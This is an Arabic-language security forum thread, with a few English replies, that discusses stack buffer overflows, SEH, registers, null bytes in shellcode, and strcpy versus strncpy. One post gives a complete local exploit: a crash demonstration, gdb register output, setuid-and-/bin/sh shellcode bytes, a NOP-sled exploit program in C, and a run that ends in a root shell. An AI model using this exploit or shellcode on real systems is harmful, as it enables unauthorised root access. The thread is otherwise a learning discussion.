shell coding

السلام عليكم

لا اعلم بهذه الداله من زى قبل ولكن انا اعلم الSEH عندما يحدث خطا فى البرنامج تقوم بنقل الكود الى منطقه ال accec voulion امل ان تكون صحيحه فى الكتابه

هذه ايضا عائق للbuffer stack او اى buffer اخر

ملاحظه: عندما يتم الكتابه على الEIP يتم ايضا الكتابه على الSEH

عشان تبقى مطمئا لتشغيل الشيل كود لابد من ايجاد الريترن ادرس بتاعت الEIP وال SEH

اقتباس

Why the null bytes and escape characters like newline \n tab \t Kill the shell code and they shouldn't found in the shell code ??

for the null bytes, u can't have it in shellcodes cuz null bytes mean to be end of C Strings or your shellcode that copied from/to the buffer, so if u have null bytes in middle of ur shellcode it won't be copied/injected compeletly to the target buffer

thus u must convert null bytes into anothers ascii characters by using XOR for i.e

this is same for \n ad \t which will cause spaces (null bytes) in your shellcode

for an advanced shellcode paper see http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf

regards

جميل جدا ....

شكرا ساد ;)

ما تحرمنا من مداخلاتك

اسف يا جماعه لتالت مره

السلام عليكم ورحمة الله وبركاته..

أخي Qnix زكرت فيما سبق هذا الكلام

اقتباس

مثلا يوجد خطء برمجي في برنامج ftp واحد المبرمجين كتب اكسبلوت لهاذا البرنامج

عن طريق الخطء الذي في البرنامج وهو بمجرد وجود ال ip للجهاز وport ال ftp

يرسل قيم خاصه مثلا في قيمه ال user عندك الاتصال بل ftp لا يقبل اكثر من 500 حرف

ولو زاد سوف يحدث خطء ويدخل على قيم اخرى ويكتب على ال esp و eip

أولا : الكتابه لا تكون على ال ESP أو EIP , لأن كلا منهما ليسوا في المكدس وانما هما سجلات عمل خاصه بالمعالج وهي فقط مؤشرات

الأول لعنوان أعلى Word في المكدس و الثاني عنوان العمليه القادمه في الكود التنفيذي

وانما تتم الكتابه في المكدس بحيث عند نقطة العوده يكون العنوان الذي يشير اليه ESP (والذي لم يتغير ) هو النوان المراد الانتقال اليه عند العوده

وبم أننا سننتقل لهذا العنوان فانه بدوره يجب أن يتم اعطاؤه الى EIP

ثانيا : أعتقد مصادر الكلام ده قديم شويه حوالي في التسعينات لأني جربت ادخل user name في ال FTP بطول أكثر من كيلو بايت , السيرفر استلمه عادي بدون أي مشاكل والكلينت هو اللي اغلق من السيرفر

عموما ده متوقع بل المتوقع أكثر ان الكلينت يضرب دون ان يرسل الى السيرفر لأنه هو أيضا لابد وأن يكون محدد طول معين لل user name

السلام عليكم ورحمة الله وبركاته..

في ملحوظه محيراني جدا ,

للاتخاطب مع منافذ الشبكات يتم استخدام ال socket programming

يعني للارسال نستخدم دالة send

int	send(SOCKET s, const	char	*buf, int	len, int	flags);

وللاستقبال من الطرف الآخر يستخدم دالة rcev

int recv(SOCKET	s, char	*buf, int	len, int	flags);

// في msdn
//Parameters
//s 
//[in] Descriptor identifying a connected socket. 
//buf 
//[out] Buffer for the data. 
//len 
//[in] Length of buf, in bytes 
//flags 
//[in] Flag specifying the way in which the call is made.

المهم عندي هو الباراميتر الثالث len والذي يحدد طول النص المسموح بقرائته من المنفذ , والذي بدوره سنضعه يساوي طول ال buffer الذي خصصناه لاستقبال البيانات

فبالله عليكم أي منطق يسمح بحدوث buffer overflow لهذا ال buffer طالما أن الداله أصلا لن تأخذ من البيانات سوى الطول الذي حدده المبرمج لها وهو طول ال buffer ؟

طبعا أي برنامج حيستقبل بيانات من خلال الشبكه حيستقبلها بهذه الداله , وطبعا لا داعي للقلق من حدوث فيض في هذا البرنامج لأنه حيكون مظبط ال buffer بتاع الداله على المقاس الي محتاجه هو , والداله عليها الباقي.

أنتظر الرد...

شكرا على الرد ... سوف اعطيك مثال لتوضيح العمل ..

عندنا برنامج لعمل اي شئ ... البرنامج يحتاج عند التشغيل ملف config فيه الخيارات المطلوبه وانت في البرنامج تحدد اسم

ملف الكونفق .. لكن اسم الملف مايصير يعدي ال 2043 حرف ... نشوف كيف

[root@Qnix x]# ./x `perl -e'print "A"x2043'`
Linux version
Seaching for file x.cfg
Searching current dir: */*
Reading configuration file.
Unknown file type AAAAAAAAAAAAAAAA...........etc
Segmentation fault

حدث خطء .... نعمل debug

(gdb) info reg
ebx            0x41414141       1094795585
esp            0xbfffef00       0xbfffef00
ebp            0x41414141       0x41414141

نشوف ال 41 وهي A ب HEX موجوده في ebx و ebp

فنستطيع استغلال هاذا الخطء بتنزل شيل كود .... الخ ..

مثال

 char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; /* الشيل كود */

int main(int argc,char *argv[])
{
        char buffer[2300]; /* ALL BUFF */
        int i,x;
        long *ptr = (long *) buffer;

        for(i=0; i < 570; i++) /* RET */
                *(ptr + i) = atoi(argv[1]);

        for(i=0; i < 1900; i++)
                buffer = '\x90'; /* اضافه يقم nops */

        for(x=0; x < strlen(shellcode); x++ )
                buffer[i++] = shellcode[x];  /* BUFF to SC*/

        execl("./x","x",buffer,0); /* تشغيل الملف المصاب*/

        return 0;
}

ولاخراج العنوان الرجوع

#include<stdio.h>
int main(void)
{
        int i;
        printf("%d\n",0xbffff250); /* RET TO HEX(INT) */
        return 0;
}

وخلاص نشوف كيف الشغل

[root@Qnix x]# ./ret
-1073745328
[root@Qnix x]# ./exp -1073745328
Linux version
Seaching for file x.cfg
Searching current dir: x/*
Reading configuration file.
sh-3.00#

.... هاذا مثال على بافر ( الموضوع عن ثغره اكتشفتها من فتره في برنامج visualboyadvanced على linux )

( انا لست من كتب الاكواد فانا لا ابرمج C )

اخي Asm4all

بعض البرامج محدده مثلا لاستقبال الامر الفلاني لا يتعدى ال 100 قيمه بعد ال 100 قيمه ماذا تتوقع ان يحدث ؟؟؟؟ اكيد راح يكتب القيم الاضافيه في اماكن غير مخصصه لها

Asm4all

it's not the bug in socket library that cause the BO, but rather the old standard C routines which called by like strncpy etc

شكرا أخي Qnix

ولكن البرامج التي تأخذ عدد محدود من البيانات تستطيع أن تكتفي بهذا الحد مهما أعطيتها بيانات تزيد عن هذا الحد

وأقرب مثال أعطاه الأخ SaD jAckAl

حيث أن الداله strcpy يمكن أن يحدث معها الفيض

ولكن الداله strncpy لا يحدث معها هذا

وأغلب الدوال التي يستخدمها أي مبرمج تكون من النوع الثاني وليس الأول طالما أنه سيتعامل مع المستخدم أو أي شيء يمكن التغيير فيه

ولا يستخدم النوع الأول الا في حالة البيانات الداخليه للبرنامج أو بيانات موثوق بها

أما لو فكر في الناحيه الأمنيه فلن يستخدم النوع الأول على الاطلاق